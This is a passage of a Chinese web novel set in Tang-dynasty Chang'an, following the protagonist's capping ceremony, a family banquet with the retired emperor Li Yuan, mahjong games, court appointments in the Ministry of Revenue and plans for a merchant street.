这时,青儿充当‘有司’,将三套不同等级的冠服(缁布冠、皮弁、爵弁)摆放好,同时还准备了席子、酒器、梳子、簪子等。 当吉时到了的那一刻,李丽质、抱着小岁安的高阳、以及李世民等人,静静地看着李渊走到陈衍身后,轻轻替他束发、加缁布冠,象征具备衣食之能。 李渊轻声呢喃:“令月吉日,始加元服。” “弃尔幼志,顺尔成德。” “寿考惟祺,介尔景福。” 这是祝词,亦是必要的流程,陈衍还得出门,敬众宾客一杯,亦是在展现自己初加冠。 当然,这仅仅是一个开始,整套流程相当麻烦与繁琐,却是他们这种身份男子必须要经历的。 在李渊为陈衍三加——爵弁,陈衍入房换上最隆重的爵弁服、纁色蔽膝,出房展示。 至此,陈衍便不再是一个少年了,而是一个真正的成人! 剩下的,便是拜见父母,亲人,只是陈衍父母已逝,所以由李世民和长孙皇后充当这个角色。 在大唐,也只有他们两个能代劳了,其他人都没有资格。 这也是为什么李世民今天放下早朝,跟长孙皇后同来的原因。 最后,陈衍进入他们陈家的祠堂,正式告慰列祖列宗,家族新增一成人,也是目前唯一的成人。 望着最上方的两个牌位,陈衍久久无言。 自己终是到了这一步,娶妻,生女,及冠,今后正式成为了‘陈子安’,若是他们能看到,想必会很高兴吧? “子安,莫要多想。” 长孙皇后走过来,声音依旧那么温和,“你已经及冠,正式成年。作为陈家目前唯一的男丁,陈家的血脉传承皆寄托在你一人身上,好好努力,将你们陈家发扬光大吧。” 陈衍嘴角一抽。 这话怎么听着那么像催他生孩子呢? “走吧,小子安。”李渊走过来,拍了拍他,“出去跟宾客们喝几杯,招待一下,然后咱们一家坐下吃个饭吧。” “这样的机会可不多啊。” 李世民精神一震,急忙用眼神示意陈衍快答应下来。 在私下的场合,一家人整整齐齐在一起吃顿饭,那岂不是最好缓和关系的机会吗? 现在的李世民很多事情都不愁,唯独在李渊这件事上,他愁得头发都快掉了。 明明经过长孙皇后寿宴那件事后,父子关系看似比以前好了许多,他也曾在后来找过李渊,只是父子俩待在一起根本没话说,各自沉默,最后又各自离去。 陈衍心里暗自翻了个白眼,没说什么,稍微看了看自己的仪态,便出去招待客人了。 当他望着一桌又一桌的客人时,嘴角微微勾了勾,随即露出一个得体的笑容。 今天不仅仅是他的及冠宴,更是代表着他正式踏入长安朝堂,进入权力旋涡。 “......” 第517章 心情舒畅的李渊 “高阳,小岁安睡着了吗?让我抱抱。” 待陈衍离开,李世民一家落座,长孙皇后怕冷场,便朝着身旁的高阳询问了一句。 “没呢。”高阳脸上带着母性的柔和,“这小家伙不足半岁的时候,整天吃了睡,睡了吃,随着渐渐长大,愈发精神了起来。” “不过还好她挺乖巧的,不怎么爱哭,就喜欢瞪着眼睛到处看。” “来,小岁安,让外祖母抱抱。” 她说着轻轻把小岁安递给长孙皇后,后者接过来,立即对上了小岁安懵懂清澈的目光,顿时笑了。 “确实哈,这小不点竟然不吵也不闹,还不怕生。” “不跟衡山一样,怕生得很,除了我跟你父皇,只有负责照顾她的女官能抱,其他人一接触就哭。” 李渊早早被吸引了注意力,伸着脑袋眼巴巴看着。 到了他这个年纪,那真的对小孩子没有任何抵抗力,怎么看怎么稀罕。 “观音婢,让朕也抱抱,朕今天还是第二次见小岁安呢。” 长孙皇后轻笑着颔首,亲自走过去把小岁安交给李渊抱着。 在场的人这时才明白了长孙皇后的用意,顿时肃然起敬。 真是不得不服啊,长孙皇后把李渊心思拿捏得死死的。 猜到李渊到了这个年纪喜欢小孩,故此一坐下便从小岁安开始找话题。 这不? 话题一下子就打开了。 “......” 软软暖暖的一团入怀,李渊低头看去,小娃娃脸蛋粉润,眸子清亮,正安静地瞅着他。 “好好好,真是个好孩子,岁安、岁安,岁岁平安。平凡的名字下,藏着小子安跟小高阳最朴素与真挚的念想。” 李渊笑容就没停下来过,长久以来挤压的负面情绪,此刻竟宣泄出了大半。 这时,怀中的小岁安忽然动了动,一只小手无意识地抬起来,在空中抓了抓,正好碰到李渊垂下的胡须。 她没哭,也没闹,只是攥着那一缕白色的胡须,轻轻扯了扯。 李渊先是一愣,随即朗声笑起来,“瞧瞧,这小手还挺有劲。” 李世民在一旁心里干着急,想找句话作为切入点,跟李渊搭搭话,却什么都没憋出来。 然而下一刻,让他意外的情况出现了,李渊主动对他说:“二郎,朕记得衡山比小岁安大了几个月,现在应该勉强能下地了吧?” 李世民了然,忙说:“父皇,是儿臣的不是,这么久了,也没带衡山去探望您几次,儿臣今后保证经常带衡山跟兕子她们去陪您,让您享享天伦之乐。” “哼!”李渊轻哼一声,“你清楚就好,朕又不要你天天山珍海味地孝敬朕,更不要你每次探望朕带些所谓的宝物、美酒,朕只想经常看看几个小家伙就好了。” “......对了。”李渊扭头四处张望,“兕子不是在小子安家养病吗?” “怎么不见了人影?” 闻言,李丽质出来解释道:“皇爷爷有所不知,兕子现在身体已经好很多了,夫君说即便一直让兕子住着都没问题,但时间太长的话,阿娘会想念她,所以在征求了兕子的意思后,先让她回宫住一段时间。” 不在场的兕子:??? 你们征求我意见了? “原来如此。”李渊恍然,略微不满地瞪了李世民一眼,“那你今日来的时候,为何不带上兕子?” “小子安尽职尽责地给兕子养病,把一个瘦成皮包骨头的娃娃养成现在白白胖胖的,又当成亲女儿一样教导各种道理,今天子安及冠,不带她过来说得过去吗?” 李世民一懵,“不是,父皇,这个真不能怪儿臣,兕子跟城阳一大早就要求侍女带她们来了,比儿臣跟观音婢来得还早。” “来了?”李渊诧异道:“那怎么不见人?” 高阳张了张嘴,对后面的香岚招手,示意她过来,随后小声说,“你去后厨看看,如果那两个小家伙在的话,你就把她们带过来。” 众人:“......” 李丽质尴尬道:“夫君跟我们教导孩子的理念不太一样,他说不能压制小孩子的天性,该学的时候学,该玩的时候玩,兕子现在其实还是很懂事的,但有时候却比较调皮。” “你夫君说得对!” 李渊深以为然地附和一句,转而道:“气疾这个病朕了解一些,朕隐约记得,当初跟孙思邈聊过这件事,他说气疾确实无法根治,子安同样说过这样的话。” “观音婢,你跟兕子更加要注意,你因为身份问题,只能在宫里休养,但兕子年纪小,如果可以的话,还是得定期送到子安这里来养养。” “小的时候养成一副好身体,比什么都重要,否则从小落下了病根,长大就更难了。” “最起码来说,朕两年前见到兕子,跟现在的兕子几乎是两个人。” “臣妾明白。”长孙皇后含笑回应,“那日子安将兕子送回来的时候,跟臣妾聊过这个话题,他的意思是,在宫里住一个月,然后在他府上住一段时间好了。” “既然你们有所决定,那朕就不再多说了。”李渊微微叹息,颇为不舍地把怀里的小岁安递给高阳。 “朕老了,也不知道还能有几天好活,你们啊,平日里若是无事,可以来探望一下朕。” “呵呵......在这方面,小子安可比你们上心多了,以前在渭南县的时候,一旦回长安,总会找空来陪朕钓钓鱼,说说话。” 众人闻言心里一紧,李世民正想开口,李渊又道:“其他的事呢,朕亦不想多管,二郎比朕当初好太多了。” “唯一的一点......” 他脸色阴沉了下来,语气严肃下来,“二郎,承乾身上发生的事,朕听说了,今后莫要再出现类似的情况。” 提起此事,旁人皆不敢说话了。 李世民脸色同样不太好看,拱手道:“请父皇放心,承乾身上发生的事,儿臣属实没料到,连子安都说此招防不胜防,但儿臣可以保证,今后绝不会再让类似的情况发生。” “......” 第518章 抬手不是抱歉,而是您老还得练 这一家人有一搭没一搭地聊着,看似很平和,实则相当尴尬。 不仅是李渊,其实大家都在努力地找话题。 所幸有长孙皇后在,大家倒也勉强能好好坐着,不至于受不了这个气氛离场。 此刻,李丽质与李承乾他们多么希望陈衍赶紧回来。 因为不管什么时候,但凡有陈衍在场,那么气氛总是会非常轻松,能让大家都可以愉快地相处。 甚至,他们已经下意识有了一种感觉,那就是看到陈衍这个人,整个人就轻松了下来。 不知过去了多久,就连长孙皇后都快顶不住的时候,门终于被敲响了。 陈衍推门进来,脸微微发红,显然是喝了不少酒。 他进来看了眼桌上没怎么少的菜,乐呵呵道:“太上皇,陛下、皇后殿下,怎么看你们没怎么吃啊?是觉得我家的菜不合胃口,还是跟我客气,等着我过来呢?” 此言一出,屋内尴尬的气氛顷刻间消散一空,所有人都放松了下来。 李渊笑骂:“如此佳肴,朕若说不合胃口,岂不是昧良心?” “那就是在等我咯?”陈衍咧嘴:“那多不好意思啊?你们也太客气了,其实不必等我的,毕竟我是晚辈嘛。” “来,太上皇,陛下,外面客人属实有些多,浪费了不少时间,让您二位久等了,我敬您二位一杯。” 说着,他大步走过来,毫不客气地坐在李渊旁边空出的位置上,顺手拿起酒壶,给李世民、李渊、李泰以及李承乾倒了一杯。 李世民玩笑道:“子安,你那一杯不醉的名头,连朕都听说了。看你的脸色,方才在外面应当喝了不少,现在还这么爽快地喝,怎么?不怕喝醉了?” “都是污蔑,污蔑!” 又听到这个名号,陈衍气急败坏道:“我那是不敢喝吗?分明是给他们面子,怕等会把他们喝趴下了,丢了面子!” “谁知道他们不领情,还给我取这么个外号,都是狐朋狗友,陛下不必理会!” 几人目光逐渐变得意味深长,笑而不语。 及冠了,是成年人了嘛,总归是要面子的。 “你们那是什么眼神?不相信我?” 陈衍梗着脖子嚷嚷,“不是我跟你们吹,我家醉仙楼最烈的那个酒你们知道吧?那玩意我每天起床都是拿来漱口的,平时不喝个两大坛,我都不好意思跟人家说我喝了酒。” “还有这玩意......” 他一脸嫌弃地碰了碰桌上的小酒杯,“我觉得这玩意就是对咱的侮辱,我一般抱着坛子当水喝。” “我就这么跟你们说吧!” “东风吹,战鼓擂!自古喝酒怕过谁?” “......” 陈衍微微仰头望着众人,而场上无一人开口,全被干沉默了。 半晌,李承乾压低声音询问旁边的李泰:“四弟,你说他这算什么?” 李泰沉吟:“算他能吹。” 陈衍:“......” “你快拉倒吧。”李世民那叫一个嫌弃,“你不看看周围都有谁吗?大家谁不清楚你是个什么货色?你在这吹得震天响有什么?” 他下巴轻点面前的酒杯,“不是喝酒怕过谁吗?来,走一个?” “来就来!” 气氛烘托到这里,陈衍根本不带怕的。 况且酒这个东西,本来就是心情好就喝得多,心情差就喝得少。 兴趣上来了,陈衍自然不怂! 紧接着,几人真就开始拼起了酒,谁都不让着谁。 连酒量最差的李泰都跟上了。 长孙皇后等人望着场上氛围愈发火热,李世民跟李渊渐渐能很自然地说话交谈,甚至因为杯底剩一点酒没喝完争起来,脸上笑容更甚。 良久,大家已经喝得脸红脖粗,在还有意识的时候,默契地停了下来,开始吃菜交谈。 “陈小子,朕这几年以来,依然觉得跟你小子交谈是最高兴的,等下次你什么时候有空,咱找地方钓鱼去啊?” 李渊吐出一口浊气,有些醉醺醺的,“你给我找的那些鱼确实不错,但总归是人养的,钓上来没有那种感觉。” “上次朕去渭南县的时候,回程顺便在渭河甩了两杆,尽管朕一下午才钓上几条小白鲫,不过朕心里那叫一个满足。” “朕看你现在不是有空吗?等明儿个,找地方钓去?” “啥?”陈衍微怔,随即哈哈大笑:“您老钓一下午钓上几条小白鲫?” 李渊:“......” “这是重点吗?朕问你,这是重点吗?” “哎哟我......”陈衍笑笑,已经有些喝大了,稍稍抬手:“抬手不是抱歉,而是您老还得练!” 李世民:“......” 长孙皇后:“......” 李丽质和高阳冷汗都下来了,你真是什么话都敢说啊。 两女急了,慌忙地想要帮陈衍解释一句。 李渊却先涨红了脸,怒道:“朕那天是准备不足,加上运气不好,你懂不懂啊?” “明天!就明天!明天你跟朕过去,朕让你看看朕是如何上鱼的。” “您快拉倒吧。”陈衍随口道:“这么冷的天,本来就不适合钓鱼,要我说,您若是实在闲得慌,不如来我家跟高阳她们打打麻将得了!” “反正丽质、高阳,加上一个魏王妃才三个人,打麻将三缺一怎么能行?” “我跟你说,那玩意可好玩了,保管比你钓鱼还让人上瘾,用来打发时间相当不错,而且你还能经常看到丽质、兕子她们。” “不比你待在那大安宫好?” 话音落下那一刻,李世民和长孙皇后愣了愣,眉头舒展,对视一眼后,不说话了。 李渊疑惑道:“麻将是何物?” “解释起来比较麻烦,等您老有空过来玩两把就知道了,让高阳她们跟您解释吧,现在她们整天就在家里打麻将。” 陈衍说着顿了顿,提醒道:“对了,记得带上些钱财,玩嘛,还得要点彩头,这样才更有兴致。” “其实我还蛮建议您老来我这边住一段时间的,不仅能天天见到兕子她们几个小家伙,我还能顺便给您调养一下身子。” “......” 第519章 户部郎中 陈衍的及冠宴过去,晚上好好睡了一觉。 早上起床还没来得及洗漱,青儿就着急忙慌地跑过来,“少爷,少爷,不好啦!太上皇他老人家来了,现在就在会客厅呢。” “啥玩意儿?” 陈衍懵了。 反应过来之后,急忙随便洗了把脸,整理一下头发衣冠,然后快步赶往了会客厅。 一来,便看到李渊老神在在地喝着茶,李福顺弯着腰站在背后,脚下还摆着渔具。 见他过来,李渊扬了扬下巴,“小子,你说的,朕今天来了,若你那个什么麻将不好玩,就得陪朕去外面钓鱼。” “朕今天拿出全力,让你见识一下朕的真本事!” 陈衍:“......” 他苦着脸,“太上皇,您来得好像有点早了吧?” “我这脸都没好好洗一下呢,早饭也没吃。” “陈小子,这朕就不得不说你两句了。”李渊点了点他,“朕昨天回去的时候,听二郎说了,你都马上要管一部的人了,今后每天的常朝定然是不能少的。” “现在这个时候,常朝早开始许久了,说不定已经进行到一半了。如果没什么事的话,常朝估计都结束了。” “你得更早一点,否则你连常朝都不能按时到,那么怎么让下面的人服气?” 陈衍一屁股坐在他旁边,随口道:“那我现在不是还没上任吗?我在渭南县干了两年,整天出谋划策,也得给我一点休息的时间吧?” “常朝我不担心,反正我有两个好妻子,她们拖也会拖我起来的。” “你就折腾朕两个孙女吧!” 李渊没好气地道。 随即,他干咳一声,“对了,朕来得比较早,现在同样还没用早膳,你记得让人多准备些。” “......” 陈衍眼神微妙,嘴角勾了勾,又硬压了下去。 “好的好的,明白啦,太上皇!” 他当即吩咐青儿让张姨早餐多准备些。 等吃完了早餐,陈衍便张罗李丽质和高阳她们陪李渊搓麻将。 等玩了几把,李渊几乎都是输的,但脸上的表情却很兴奋。 “别说,这玩意确实有点意思哈......” “再来再来,方才朕不太懂,现在朕懂了。” 高阳她们乐得如此,反正平时三缺一,让青儿这些侍女凑数,又不敢赢她们,哪有现在有意思? “皇爷爷,您今天钱带够了没有?”高阳一边洗麻将,一边说着,“头一次玩,输了钱可不能急眼哈,我跟姐姐还有皇嫂可不会让着您。” 李渊吹胡子瞪眼,“小高阳,你这是骂朕呢?朕何须你们让着?” “尽管放马过来便是!” 高阳和魏王妃对视一眼,笑笑不说话。 只有李丽质有些迟疑,她是想让着李渊一点的,毕竟她们三个都算老手了。 而且,家人打麻将,那不就为了个高兴吗? 不过看高阳和魏王妃兴奋的表情,她心里的小恶魔又冒了出来,跃跃欲试起来。 如果把李渊的钱赢光,看他黑着脸出去,下次带更多的钱过来,一定很有趣吧? 就这样,四人开始了搓麻将,场面热火朝天。 陈衍观望了一会儿,悄悄地走了。 然而,刚出来,青儿又跑过来了。 “少爷,杜公子他们过来了。” “杜构啊......”陈衍点点头,没说啥,去了会客厅。 果然见到了杜构和房遗直。 未等他开口,杜构直言道:“子安兄,昨日回去之后,家父让我三日之后去户部上任,职位是‘度支郎中’。” “度支郎中?” 陈衍稍稍扬眉。 户部的主要上层结构,首先肯定是正三品的户部尚书,紧接着是两位户部侍郎。 然后户部设立‘四司’,每司置郎中一人,共计四位户部郎中,掌管不同的职责。 度支郎中主管财政预算、收支规划,为从五品上,有资格参加每日常朝,权力不小。 “那房兄呢?”陈衍转头问。 “金部司郎中。”房遗直言简意赅道。 这个职位主管的是国库钱财、珍宝,基本上各类物资的储存与出库都得经过他的手。 咋说呢,‘四司’一共四位户部郎中,就没一个权力小的。 因为户部本身权力就相当之大。 陈衍沉吟片刻,“那马周呢?自从回长安好像就没怎么听见他的消息。昨日倒是来了,不过当时宾客太多,我没来得及跟他具体聊聊。” “老马现在估计在上朝。”杜构表情古怪。 “啥?” “老马在上朝了?”陈衍惊了。 他怎么不知道这回事? 杜构咂吧一下嘴,不知道该为马周高兴,还是可怜他了。 在渭南县的时候,马周就是干活最多的那一个,大家一起在渭南县功成身退,他们都有一段休息的时间,结果马周并没有。 回长安就已经被安排进去了。 “老马跟我们一样,不过他是户部司郎中,前段时间刚调的,原本在秘书省跟着魏征做事。” “估计是你选了户部,陛下随便找了理由,又给他安排到户部去了。” “他还挺高兴的。” 陈衍:“......” 天生的牛马圣体啊这是! “行吧,你们先上任吧,现在的户部侍郎还有人,我得等个十多天。”陈衍耸耸肩:“你们先去了解了解情况,反正今年就算我过去,那也没什么可干的,顶多跟戴胄交接一下。” “明年才是咱们大干一场的时候。” 杜构和房遗直重重点头,前者说道:“我父亲跟我说了,明年陛下打算动兵,户部肯定是有的忙了。” “而且,更重要的是,你从前跟陛下提的那个摊丁入亩雏形,直到现在还没什么成果,因为陛下目前大部分重心放在世家和明年的战争上。” “想要完成你说的那个摊丁入亩雏形,首先便要彻查大唐目前到底有多少地,有多少人没分到地。” “这些几乎全是咱们的活儿,一想想我就头皮发麻。” “找人吧。”房遗直倒是无所谓,淡定道:“找干实事的人,否则就凭咱们几个,累到吐血都忙不过来。” “......” 第520章 韩仲良 “对了,现在的户部侍郎分别是哪两位?” 陈衍想起一回事,顺口问了一句。 房遗直答道:“现在的户部侍郎分别是刘林甫和韩仲良,按照你之前所说,你即将上任户部侍郎,那么必将顶下来一位。” “我个人觉得最有可能的是刘林甫,因为他年龄虽然不算特别大,但是身体越来越差了,经常因病不上朝。” “另一个韩仲良很不错,他出身颍川韩氏,北周至隋代官宦世家,祖父韩褒为北周刺史,父亲韩绍为隋代高官,能力很强。” “武德年的时候,韩仲良还受到过太上皇的重用,现在依然是戴胄的得力干将,一直协助戴胄推行均田制与租庸调法。” “陛下对这个人也颇为关注。” 陈衍恍然,“那岂不是已经基本确定刘林甫要下来了?” 房遗直摇摇头,“我觉得不仅是下来,他很可能从此告别官场,毕竟身体已经到那个地步了。” “嗯。”陈衍颔首,“韩仲良听起来还不错,会是我们的敌人吗?” 房遗直那句‘陛下对这个人也颇为关注’,引起了他的警觉。 前几天杜如晦还跟他说来着,因为他的空降,很可能遭受不少人记恨。 韩仲良既然已经是户部侍郎,那么他认为自己有机会的话,并不难理解。 倘若出现这种情况,那么陈衍就得小心了,今后上任之后,这种人是必须要好好讲讲理的。 杜构这时插话道:“对韩仲良这个人,我恐怕了解得多些,我来说吧。” 他沉吟道:“我父亲曾经评价过这个人,说他能力是足够的,但因为家世跟前朝有关,武德年又受到太上皇看重,所以即便再有能力,也顶多做到除户部、吏部之外,另外四部尚书。” “而且,他这个人很能认得清自己,一直兢兢业业地做实事,从未主动追求过什么。” “简而言之,就是有自知之明。” “所以我认为,他不大可能与我们为敌。” “倘若你将来上任户部尚书的消息传出去,他搞不好还会主动来跟你打好关系。” “这样啊......”陈衍若有所思。 如果是这样的话,那么韩仲良可以拉拢,帮上一把。 当然,前提是他识趣。 陈衍不求韩仲良能主动跟他打好关系,只要他的命令吩咐下去,韩仲良能尽心尽力地办,那他就不介意帮上一把。 实事求是地说,陈衍并不是那种喜欢阿谀奉承的人,马周不也从未讨好过他吗? 对于他来说,能好好干事,不碍事,那比什么都重要。 再一个,陈衍隐隐约约好像对韩仲良这个名字有点熟悉...... 努力回想了一下,他终于在记忆中翻出了这个人,但不多。 只记得韩仲良好像在贞观十年后上任了刑部尚书,然后贞观十四年卒了。 陈衍摸着下巴,沉思道:“这样,等你们去任职之后,探探韩仲良的口风,如果觉得他还不错的话,那便稍微暗示一下我的情况。” “是敌是友一下子就清楚了。” “如果是友,那今后我们多一个好帮手,如果是敌,那么新官上任的头把火,第一个烧他!” 杜构跟房遗直对视一眼,皆明白了陈衍的打算,点头应了下来。 接下来,三人又交谈了一阵,杜构和房遗直便告辞离开了。 毕竟他们要去任职了,有挺多事需要提前准备。 送两人离开后,陈衍短暂驻足,又跑回去看了眼李渊,发现他还在笑容满面地搓麻将。 叫上小顺子和青儿就出门了。 金光门大街,这里是连接西市的主要道路,所有丝绸之路商旅,以及各种小贩还有大量百姓的必经之路。 而陈衍的目的地便是位于大街中心的一座三层建筑,这里就是李世民给自己用来开商会的地点。 当时李世民给了他很多选择,有东市的,有西市的,还有连接东市的春明门大街。 这些地方就没一个差的。 东市位于城东,靠近勋贵官僚住所,平康坊、崇仁坊都在这边。 西市更多是胡商,以及大多百姓的聚集地。 陈衍之所以不选两个市里,而是选通往西市的金光门大街,就是看中了它是开市时的必经之地。 在渭南县他都能打造一条商业街,在长安为何不行? 当陈衍一行三人到达时,便见到了许怜月在场,似乎在盯着工人们修建商会。 “怎么样?什么时候才能修建好?” 许怜月闻言回道:“按照你的要求,应当还需要十日左右,我已经命人加急了,但十天已经是理想情况下最快的速度了。” “无妨。”陈衍没在意这点,“十天罢了,我等得起。” 说完,他四处看了看,“你也别在这里了,派其他人盯着就行,这段时间,你跟小顺子把周围的商铺、地段,能收多少收多少。” “今后这里我们按照渭南县商业街打造,你应该有经验的。” 许怜月沉思片刻,“很急吗?如果想按照渭南县商业街那样打造金光门大街,我们需要耗费的钱财和时间都不会少。” “渭南县再怎么也比不过长安,这里的商铺以及地段价格都要高出太多。” “我们缺钱吗?”陈衍反问一句。 许怜月语塞。 钱他们确实不缺,不但有四位富商在整个大唐帮他们售卖货物,且他们的工坊产出惊人。 最为重要的是,跟世家的合作已经开始了。 世家遵循了约定,检查了货物后,立马便付了保证金。 这部分钱已经落入了他们口袋,不可能再退回去了。 现在他们手里的现钱简直不要太多! 陈衍手指了一圈商会周围,“其他地方今后再说,但这附近的商铺、地段,一定要买下来。” “买下来之后,围着商会开我们的店铺,例如醉仙楼、茶楼、布行,以及冬天到来的蜂窝煤、棉衣、棉裤,明白吗?” 许怜月一点就通。 “我明白你的意思了,开这些店铺,是把人流吸引过来,先打开局面,方便今后打造商业街对吗?” “......嗯,不错,以后我很少来了,有事来府上找我,这里就交给你了。” “......” 第521章 输红眼了 陈衍好好看了看这边,仔仔细细地叮嘱了许怜月以及小顺子今后的计划,该做什么,不该做什么。 直到日落,他才带着青儿返回家中。 今天走了很多地方,陈衍已经有些累了,而李丽质则一如既往地给他递过来一杯热茶,亲自来到他后面帮他松松肩。 “今天你们跟太上皇玩得怎么样?他已经离开了吗?” 李丽质抿了抿唇,似乎在忍着笑意,“今天皇爷爷输惨了,连自己的玉佩都押在了高阳那里,走之前还放狠话说明天一定赢回来。” 陈衍一听,人都麻了。 “不是,人家好歹是长辈,过去几年本就过得不怎么舒心,我故意叫他过来,就是想让你们陪他老人家玩玩,哄哄老爷子。” “怎么你们还把他玉佩都赢过来了?” 李丽质尴尬道:“这......最初的时候,我们就是口头说两句,热热气氛嘛,稍微赢了点之后,我们就已经开始放水了,谁知道皇爷爷那么......呃,耿直。” “到了最后,我们已经不能说是在放水了,几乎放了一条渭河,结果皇爷爷仍然赢不了。” “他输红了眼,便把自己的玉佩压上了,我们也没想要啊,但他硬要给。” 陈衍:“......” 神特么的耿直。 你还整上高情商发言了呗? 直接说人家手气......不对,说他笨不就完了? 打了一整天,难道还一把好牌摸不到? 用手气不好根本解释不通啊。 “啧!” 陈衍捂脸,“......你,你们下次悠着点,老爷子年纪挺大的,到了他那个岁数,保持心情舒畅是最重要的。” “每天高高兴兴的,再稍微动一下,说不定还能活个一二十年。” “倘若每天郁郁寡欢,可能要不了多长时间就走了。” 李丽质心惊,迟疑道:“有这么严重吗?” “那你以为呢?”陈衍没好气道:“你觉得为什么你阿耶、阿娘不阻止我把太上皇忽悠过来?甚至还乐得如此?” “不就是因为想让他老人家高兴点,活得久些,让大家都有机会尽尽孝吗?” “你们啊......” 陈衍欲言又止,最后只余下一声叹息,“算了,就输个一次,问题不大,今后注意点就好。” 听他说得这么严重,李丽质有些后怕,连忙点头应下来。 接着,陈衍起身舒展了一下身子,跑去舒舒服服地洗了个澡。 吃了饭,一家人坐下聊了一会儿,然后跟李泰他们各自回屋,准备休息了。 今天陈衍确实有些累了,躺在床上就打算睡觉。 然而此时,高阳缓缓把手伸了过来,“夫君,你觉得我今天美吗?” 陈衍侧头一看,才发现高阳竟然还没有卸下妆容,又感受到她伸过来的小手,算了算日子,顿时明白她打的什么主意了。 不过他现在没那个心思,一巴掌把她的手拍开,“今天不美,丑死了,看到你我今天晚饭都少吃了很多。” 高阳:“......” 她已经听惯了陈衍的冷言冷语,根本不生气,转而又问:“那你觉得我什么时候最美?” 她寻思着下次好好捯饬捯饬,按照陈衍的喜好来。 陈衍沉默两息,“我觉得你大吃一惊的时候最美!” 高阳:??? 她迷茫地眨眨眼,还没明白过来什么意思。 另一边,李丽质的脸已经爆红了。 ‘该死,为什么我能秒懂!’ “什么意思?” 高阳摸不着头脑,她想过陈衍会回答自己成亲那天,穿着嫁衣最美,或者在灯火摇曳,不自觉红脸的时候最美,其他答案也想过很多,唯独没想到这个。 “你自己品去吧。”陈衍随口说了一句。 高阳扭头,望向脸爆红的李丽质。 后者那叫一个难为情,但面对妹妹求助的目光,又不知道该怎么拒绝,便凑过去,在她耳边小声说了一句。 高阳听完恍然大悟,随后愤愤地拍了陈衍一下。 “坏胚子,狗嘴里吐不出象牙,我就知道你不是个好东西!” “对对对,你说得对。”陈衍一边敷衍着,一边怪异地看了眼李丽质。 李丽质能秒懂,他确实是没想到的。 果然啊! 正经人不正经起来,是会越来越狂野的。 现在的李丽质已经是位老司机了。 高阳也看出了今天陈衍没那个心思,而且晚饭吃得不多,随即也熄了心思。 起床好好洗了脸,换了睡觉的衣服,重新躺回来。 正想休息,想到一回事,便问:“从你回到长安开始,你就去拜访了不少人,为什么偏偏不去找戴胄?” “你得先上任户部侍郎,等戴胄调走之后才是户部尚书,在这段时间内,你得经常跟他接触,为何不准备些礼物,上门拜访一下?” “没必要!” 陈衍睁开眼,“戴胄这种人跟我有点像,都不喜欢那些花里胡哨的,送礼根本没用。” “而且,我在渭南县的时候,特地拉了他侄子一把,等他侄子从渭南县返回长安,只要不自己犯傻,那么前途必然差不了。” “因为这个,戴胄本身就欠我一份人情,加上我们又没有任何冲突,以后又都在一个小圈子。等我上任之后,他只会好好跟我交接,大家互相打好关系,没必要去送礼什么的。” “噢~这样啊。”高阳若有所思地点点头,随即提醒道:“其他的,你自己可能心里有数,但我得提醒你一句,户部跟其他五部不一样,里面的弯弯道道绝对少不了。” “贪官那就更不用说了。” “你跟杜构他们新官上任,如果要烧把大火,最好跟父皇提前说一声,不管用什么手段,得让父皇知道一下。” “你这话说的。”陈衍听着想笑,反问:“怎么?你怕我用毒?” “那不然呢?” 高阳白了他一眼,“别人不清楚,我们难道还不清楚吗?许怜月一个人住的时候,但凡对她动歪心思的都死相凄惨,有的甚至不知不觉就死了,一点问题查不出来。” “如果可以的话,最好是不要用毒。” “......” 第522章 暗潮汹涌 “放心吧,我不会用毒的,更不会杀人。” 陈衍理所当然道:“我是读书人,读书人怎么能干那种事呢?” “再说了,对许怜月图谋不轨的人死了,跟我有什么关系?” “你不要污蔑我,我是正儿八经的医者!” “......呵。”高阳就笑笑不说话了。 要说许怜月那回事,跟陈衍没关系,打死她都不相信。 当然啦,这都不重要。 重要的是,高阳差不多明白陈衍心里有数。 那她就放心了。 “近几日,父皇的圣旨应该也要下来了。”李丽质猜测道:“夫君你吃饭的时候,不是说杜构三日之后便要上任了吗?” “夫君职位进行这么大一次跃迁,定然是要下一道圣旨的,官服也得提前送过来。” “我估计就这两天了。” “无所谓什么时候。”陈衍漫不经心道:“要我说,越晚越好,实际上贞观七年初才是最好的机会,现在的话,朝堂上暗潮汹涌,不是一个好时机。” “得亏陛下可能同样清楚这一点,故此先让我当户部侍郎,没有一下子让我做户部尚书。” “如若不然,我将来要面对的暗箭只怕会更多。” 高阳闻言一怔,在陈衍和李丽质都没注意到的时候,眸光沉了下来...... “......” 如李丽质所想,过了两日,在杜构上任之前,无舌亲自带着宫女和宦官,捧着圣旨和官服、腰带等物品踏入了渭国公府。 陈衍从一名六品县令,直升正四品下的户部侍郎(在高宗、武则天时期,六部侍郎的品级才是正四品上)。 此则消息如一颗流星坠落在长安官场,瞬间炸开了锅。 不管是提前收到一些消息的,亦或者是不知情的,都在为之震撼。 杜如晦在家中感慨:“十八岁为官,靠自己二十岁做到户部侍郎,一个多月之后还得上任户部尚书......” “啧啧,真的要逆天啊......” 房家,房玄龄背着双手,侧头对身后的长子道:“永远记得为父一句话,跟在陈衍身边,机遇不是最重要的,而是去学习他的那种思考问题的方式。” “其余细枝末节的,为父便不说了,但凡你仔细想想之前陈衍给陛下出的几次阳谋,哪一次不是裹挟着大势倾轧?这才是最令人无可奈何的。” “即便朝中众人明知前方是坑,可不依然得跳下去吗?” “私底下,为父甚至可以告诉你,面对大势,连陛下都得暂避锋芒,更何谈其余之人?” “父亲,您的意思是,让我去学习子安兄这种手段方式吗?”房遗直皱眉问。 房玄龄沉默片刻,心里叹了口气。 自己的儿子终究还是年轻了些,如今虽然已经做到了五品官,但那都是因为自己厚着脸皮送他到了渭南县,乘着陈衍的风起来的。 他语重心长道:“我不是说让你学陈衍这种阳谋,你需要记住,手段不是最重要的事,重要的是思考方式,也就是你上次提到,从陈衍那里学来的一个词——思维!” “有的时候,人与人的差距之所以无比巨大,就是因为他们的思维方式不同,面对问题时做出的应对不同。” “哎,算了,如今你已回了长安,今后跟在陈衍身边多学学,多记一下,方便的话,回来跟为父说说,为父帮你分析。” 房遗直张了张嘴,点了点头。 他不是纨绔二代,认得清自己,也愿意承认自己不如人。 “姓房的!你在那背着身子给谁看呢?儿子要去任职了,你关系打点好了吗?今后怎么安排儿子,你想好了吗?还有我的遗爱,到现在还没个媳妇,你能不能想想办法?” “那么大个官,连给儿子娶个媳妇都做不到,老娘真不知道你一天天在干些什么!” 突然,一声大喊传来,紧接着便是一连串的吼声。 房家父子身躯齐齐一颤,对视一眼,默契地展露笑容,向着声音传来的方向小跑过去。 “.......” 那一道圣旨下去,不仅在长安引起了轩然大波,成为最近官场最热门的话题,更是令已经汹涌的局势再度出现了微妙的变化。 